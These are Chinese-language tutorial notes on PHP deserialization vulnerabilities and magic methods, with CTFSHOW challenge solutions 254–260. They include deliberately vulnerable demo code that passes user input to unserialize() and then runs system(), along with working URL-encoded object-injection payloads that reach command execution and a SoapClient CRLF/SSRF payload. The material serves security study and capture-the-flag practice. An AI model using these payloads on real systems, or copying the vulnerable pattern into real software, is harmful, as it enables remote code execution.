#知识点:
1、什么是反序列化操作?-格式转换
2、为什么会出现安全漏洞?-魔术方法
3、反序列化漏洞如何发现? -对象逻辑
4、反序列化漏洞如何利用?-POP链构造
补充:反序列化利用大概分类三类
-魔术方法的调用逻辑-如触发条件
-语言原生类的调用逻辑-如SoapClient
-语言自身的安全缺陷-如CVE-2016-7124
#反序列化课程点:
-PHP&Java&Python
序列化:对象转换为数组或字符串等格式
反序列化:将数组或字符串等格式转换成对象
serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象
#PHP反序列化漏洞
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
#魔术方法利用点分析:
触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:
__construct(): //构造函数,当对象new的时候会自动调用
__destruct()://析构函数当对象被销毁时会被自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用
__call(): //在对象上下文中调用不可访问的方法时触发
__callStatci(): //在静态上下文中调用不可访问的方法时触发
__get(): //用于从不可访问的属性读取数据
__set(): //用于将数据写入不可访问的属性
__isset(): //在不可访问的属性上调用isset()或empty()触发
__unset(): //在不可访问的属性上使用unset()时触发
__toString(): //把类当作字符串使用时触发,echo $a; ($a=new A())
__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用
class B{
public function __destruct(){
system('ipconfig');
}
public function __construct(){
echo 'xiaodisec'.'
';
}
}
注意:
1.在进行new对象时,先调用__construct,之后调用__destruct
2.x为类B的序列化,unserialize($_GET[x]);时,自动调用destruct(),如果想要调用__construct(),$a=unserialize($_GET[x]) $a->__construct();
3.调用方法中的私有属性,首先必须要new() 才可以调用
O:8:"demotest":3:{s:4:"name";s:6:"xiaodi";s:3:"sex";s:3:"man";s:3:"age";s:2:"29";}
O:object 对象
8:对象名长度
demotest:对象名
3:对象含有3个变量
s:数据类型string,i是int
4:数据长度
name=xiaodi sex=man age=29
- 反序列化-魔术方法&漏洞引发&变量修改等
- CTFSHOW-关卡254到260-原生类&POP构造
- CMS代码审计-Typecho反序列化&魔术方法逻辑
#反序列化-魔术方法&漏洞引发&变量修改等
echo '
';
//O:8:"demotest":3:{s:4:"name";s:6:"xiaodi";s:3:"sex";s:3:"man";s:3:"age";s:2:"29";}
//object(demotest)#2 (3) { ["name"]=> string(6) "xiaodi" ["sex"]=> string(3) "man" ["age"]=> string(2) "29" }
//安全问题
class A{
public $var='echo test';
public function test(){
echo $this->var;
}
public function __destruct(){
echo 'x'.'
';
}
public function __construct(){
echo '__construct'.'
';
}
public function __toString(){
return '__toString'.'
';
}
}
//无需函数,创建对象触发魔术方法
//$a=new A();//触发__construct
//$a->test();//触发test
//echo $a;//触发__toString
//触发__destruct
echo serialize($a);
$t=unserialize('O:1:"A":1:{s:3:"var";s:9:"echo test";}');
$t->test();
//漏洞出现
class B{
public function __destruct(){
system('ipconfig');
}
public function __construct(){
echo 'xiaodisec'.'
';
}
}
//函数引用,无对象创建触发魔术方法
//?x=O:1:"B":1:{s:4:"test";s:3:"ver";}
unserialize($_GET[x]);
//$b=new b();
//echo serialize($b);
class C{
public $cmd='ipconfig';
public function __destruct(){
system($this->cmd);
}
public function __construct(){
echo 'xiaodisec'.'
';
}
}
//函数引用,无对象创建触发魔术方法自定义变量
//?c=O:1:"C":1:{s:3:"cmd";s:3:"ver";}
unserialize($_GET[c]);
?>
#CTFSHOW-关卡254到260-原生类&POP构造
254-对象引用执行逻辑
1.触发xipOneKeyGetFlag()
2.$this->isVip为真
username=xxxxxx&password=xxxxxx
255-反序列化变量修改1
Code:
public $isVip=true;
$a=new ctfShowUser();
echo urlencode(serialize($a));
Get:username=xxxxxx&password=xxxxxx
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
256-反序列化参数修改2
CODE:
public $username='x';
public $password='y';
public $isVip=true;
$a=new ctfShowUser();
echo urlencode(serialize($a));
GET:username=x&password=y
COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22y%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
257-反序列化参数修改&对象调用逻辑
php
class ctfShowUser{
private $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code='system("cat f*");';
}
$b=new ctfShowUser();
echo serialize($b);
?>
GET:username=xxxxxx&password=xxxxxx
COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%22cat+f%2A%22%29%3B%22%3B%7D%7D
258-反序列化参数修改&对象调用逻辑
php
class ctfShowUser{
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code="system('cat flag.php');";
}
$a=serialize(new ctfShowUser());
$b=str_replace(':11',':+11',$a);
$c=str_replace(':8',':+8',$b);
echo urlencode($c);
?>
GET:username=xxxxxx&password=xxxxxx
COOKIE:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D
259-原生态类&call魔术方法&配合SSRF
参考:https://dar1in9s.github.io/2020/04/02/php%E5%8E%9F%E7%94%9F%E7%B1%BB%E7%9A%84%E5%88%A9%E7%94%A8/#Exception
原生类适用前提:
1.需要有soap扩展,且不是默认开启,需要手动开启
2.需要调用一个不存在的方法触发其__call()函数
生成序列化时记得开启SoapClient拓展:php.ini中启用php_soap.dll
php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>
vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22ssrf%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22wupco%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
260-字符串序列化
ctfshow=ctfshow_i_love_36D
#CMS代码审计-Typecho反序列化&魔术方法逻辑
https://www.anquanke.com/post/id/155306
来源地址:https://blog.csdn.net/m0_63917373/article/details/127826211